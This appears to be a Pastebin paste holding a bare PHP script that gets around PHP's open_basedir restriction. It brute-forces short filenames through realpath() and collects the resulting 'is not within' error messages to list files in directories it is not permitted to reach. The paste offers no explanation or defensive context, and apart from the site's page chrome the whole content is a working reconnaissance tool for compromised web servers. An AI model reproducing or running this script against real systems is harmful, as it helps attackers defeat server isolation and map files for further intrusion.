Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $windows = false;
- $alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789-_.';
- $alphabet_len = strlen($alphabet);
- $maxlength = 4;
- $path = '/';
- $regexp = "/File\((.*)\) is not within/";
- $files = array();
- $s = array();
- error_reporting(0);
- set_error_handler("eh");
- function eh($errno, $errstr, $errfile, $errline) {
- global $regexp,$files,$windows;
- preg_match($regexp,$errstr,$o);
- if(isset($o[1]) && (($windows) ? (strpos($o[1],'<<')===false) : true)) {
- if(!in_array($o[1],$files))
- $files[]=$o[1];
- }
- }
- echo '<pre>open_basedir: ';
- if(ini_get('open_basedir'))
- echo "<font color=\"red\">".ini_get('open_basedir')."</font>\n";
- else
- echo "<font color=\"green\">false</font>\n";
- echo 'Directory listing of '.$path."\n";
- while(count($s = inc($s,0)) <= $maxlength) {
- check($s);
- }
- sort($files);
- foreach($files as $file)
- echo $file."\n";
- echo "</pre>";
- function check($s) {
- global $alphabet,$path,$windows;
- $str = 'a';
- for($i = 0; $i < count($s); $i++) {
- $str[$i] = $alphabet[$s[$i]];
- }
- if($windows)
- realpath($path.$str."<<");
- else
- realpath($path.$str);
- }
- function inc($s,$i) {
- global $alphabet_len;
- if(!isset($s[$i])) {
- $s[$i] = 0;
- return $s;
- }
- if($s[$i] + 1 == $alphabet_len) {
- $s[$i] = 0;
- $s = inc($s,$i+1);
- } else {
- $s[$i]++;
- }
- return $s;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement